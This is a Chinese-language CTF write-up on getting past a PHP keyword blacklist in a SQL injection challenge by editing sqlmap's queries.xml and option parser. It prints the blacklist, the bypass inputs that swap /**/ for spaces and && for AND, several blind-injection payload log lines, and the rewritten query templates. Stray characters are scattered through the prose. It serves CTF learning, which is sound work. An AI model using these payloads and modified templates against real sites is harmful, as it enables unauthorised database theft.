sqlmap使用心得——編寫自己查詢語句
0x00 從一道CTF題目入手
- 我們看他的過濾
// 防注入
$blacklist = array(" select "," union ","limit", " from ", "and","sleep");
//var_dump($blacklist);
- 我們可以使用 /**/ 代替空格 锡宋, && 代替 and , || 代替 or 進(jìn)行繞過螟深,所以我們提交的為:
回顯:
再提交:
回顯:
好的东揣,我們已經(jīng)找到注入點(diǎn)了嗡载,affff'||1# 或者 admin'&&1# ,admin為已注冊(cè)用戶名
那我們用sqlmap跑一下吧:
成功。這里我沒有加查詢數(shù)據(jù),現(xiàn)在我來查一下數(shù)據(jù)庫名 -v 3 --dbs氓辣。
可以看到,sqlmap自帶的查詢語句含有l(wèi)imit這是題目所不允許的袱蚓,雖然還是查出了表名钞啸,但是使用的PAYLOAD 是
[PAYLOAD] admin'/**/&&/**/ORD(MID((IFNULL(CAST(DATABASE()/**/AS/**/CHAR),0x20)),1,1))>64#
也只查出當(dāng)前數(shù)據(jù)庫的名字:
好的,你說只要當(dāng)前數(shù)據(jù)庫的名字喇潘,那表名呢?我們來查一下表名 -D software --tables
結(jié)果很遺憾体斩,我們來看一下他的payload吧
[11:53:37] [PAYLOAD] admin'/**/&&/**/ORD(MID((SELECT/**/IFNULL(CAST(table_name/**/AS/**/CHAR),0x20)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/table_schema=0x736f667477617265/**/LIMIT/**/2,1),1, 1))>1#
該死的limit,那我自己寫個(gè)盲注腳本行了吧。當(dāng)然颖低,這確實(shí)是另一種解決辦法硕勿,但是這里我們不寫腳本,那能不能讓sqlmap人性化一點(diǎn)枫甲,按我們的想要的方式來源武?
0x01 調(diào)改sqlmap
打開sqlmap所在的文件夾,如果你對(duì)他的文件結(jié)構(gòu)熟悉的話想幻,應(yīng)該知道payload什么的都在xml這個(gè)文件夾粱栖,我翻了一下,確定關(guān)鍵在 queries.xml 這個(gè)文件脏毯。
看一下這個(gè)文件闹究。
上面的value 應(yīng)該是說明使用對(duì)象,下面<>里面的內(nèi)容食店,是參數(shù)名和查詢語句渣淤,我們先找到dbs,進(jìn)行測(cè)試一下吉嫩。
<dbs>
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
</dbs>
OK 這就是dbs,我們改一下价认,把盲注 bind query的 select 改成 testtest 看一下sqlmap的反應(yīng)。
OK自娩,現(xiàn)在我們可以百分百確定用踩,sqlmap調(diào)用的查詢就是這里了!
現(xiàn)在開始我們的調(diào)試忙迁。
不是過濾了limit么脐彩,那我們?nèi)サ鬺imit。去掉limit的話姊扔,那就會(huì)產(chǎn)生多條查詢結(jié)果惠奸,那我們應(yīng)該還要加一個(gè)group_concat()
所以我們改成這樣:
<blind query="SELECT Group_concat(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
結(jié)果發(fā)現(xiàn)我太天真,報(bào)錯(cuò)了:
讓我們回到那個(gè)語句恰梢,仔細(xì)看一下:
<blind query="SELECT Group_concat(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
這里有一個(gè)count參數(shù)會(huì)不會(huì)是這個(gè)的問題佛南?這count算出來的應(yīng)該是查詢結(jié)果的個(gè)數(shù)证九,如果我們使用group_concat的話,那結(jié)果就只有一條共虑。那我們直接 selelct 1 試一下愧怜。所以我們修改:
count="select 1"
嘆氣:
還是報(bào)錯(cuò),難道不能直接刪掉limit 么妈拌,或者說拥坛,我們刪掉了一個(gè)%d 參數(shù)引起了錯(cuò)誤? 那我們把%d 參數(shù)加回去試試尘分。
這里我們使用無傷大雅的concat的加回去吧猜惋。
<blind query="SELECT CONCAT(GROUP_CONCAT(schema_name),%d) FROM INFORMATION_SCHEMA.SCHEMATA" count="SELECT 1"/>
Yes Make it
[14:14:05] [PAYLOAD] admin'/**/&&/**/ORD(MID((SELECT/**/IFNULL(CAST(CONCAT(GROUP_CONCAT(schema_name),0)/**/AS/**/CHAR),0x20)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA),179,1))>47#
[14:14:05] [PAYLOAD] admin'/**/&&/**/ORD(MID((SELECT/**/IFNULL(CAST(CONCAT(GROUP_CONCAT(schema_name),0)/**/AS/**/CHAR),0x20)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA),180,1))>47#
[14:14:05] [PAYLOAD] admin'/**/&&/**/ORD(MID((SELECT/**/IFNULL(CAST(CONCAT(GROUP_CONCAT(schema_name),0)/**/AS/**/CHAR),0x20)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA),180,1))>1#
成了
所以總結(jié)就是:
- %d %s等參數(shù)一個(gè)都不能少,少了就會(huì)報(bào)錯(cuò)
- count 參數(shù)是計(jì)算查詢結(jié)果條數(shù)培愁,如果采用的是group_conat()著摔,那count="select 1" 就好
0x02 添加參數(shù)和直接的查詢語句
哇,這么麻煩定续,還不如我自己直接寫腳本呢谍咆。確實(shí),我也覺得有點(diǎn)麻煩私股,那能不能我就寫個(gè)查詢語句然后sqlmap給我查呢摹察?Let's do this!
先想一下,我們要給自己的語句進(jìn)行查詢倡鲸,那先要給自己的語句添加個(gè)參數(shù)吧供嚎, 比如 --test
我想到了最簡(jiǎn)單的查詢當(dāng)前數(shù)據(jù)庫的語句, --current-db 峭状,在xml文件當(dāng)中克滴,他是這樣的:
<current_db query="DATABASE()"/>
我進(jìn)行了一番摸索之后,發(fā)現(xiàn)最后是在 lib/parse/cmdline.py這個(gè)文件里面進(jìn)行定義的优床。下面我直接給出修改結(jié)果了劝赔。
lib/parse/cmdline.py
enumeration.add_option("--current-db", dest="getCurrentDb",
action="store_true",
help="Retrieve DBMS current database")
enumeration.add_option("--test", dest="getCurrentDb",
action="store_true",
help="Retrieve DBMS current database")
queries.xml文件,將"<current_db query="DATABASE()"/>" 改成你想要的查詢語句
<current_db query="(select group_concat(table_name) from information_schema.tables where table_schema=database())"/>
這里是一個(gè)查詢當(dāng)前數(shù)據(jù)庫表的語句羔巢,讓我們看一下效果望忆。
成功查詢除了表名罩阵,所以我們?cè)谶@里只需要替換我們需要查詢語句就Ok了竿秆。
這里我們借用的是current-db,本來我考慮是添加自己的參數(shù)稿壁,但是我花了大量時(shí)間嘗試改了五六個(gè)文件還是會(huì)報(bào)錯(cuò)幽钢,是在想不到是哪里出錯(cuò)了。如果有大神知道傅是,還望不吝賜教匪燕。
0x03 最后
- 如果覺得sqlmap的語句太過繁瑣蕾羊,可以直接在queries.xml文件,將cast 和 isnull 的query 改成 %s
<cast query1="CAST(%s AS CHAR)" query="%s"/>
<isnull query1="IFNULL(%s,' ')" query="%s"/>
- 如果題目過濾了or帽驯,那么slqmap截取字符串的姿勢(shì)就無法使用龟再,可以改一下inference,
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
效果: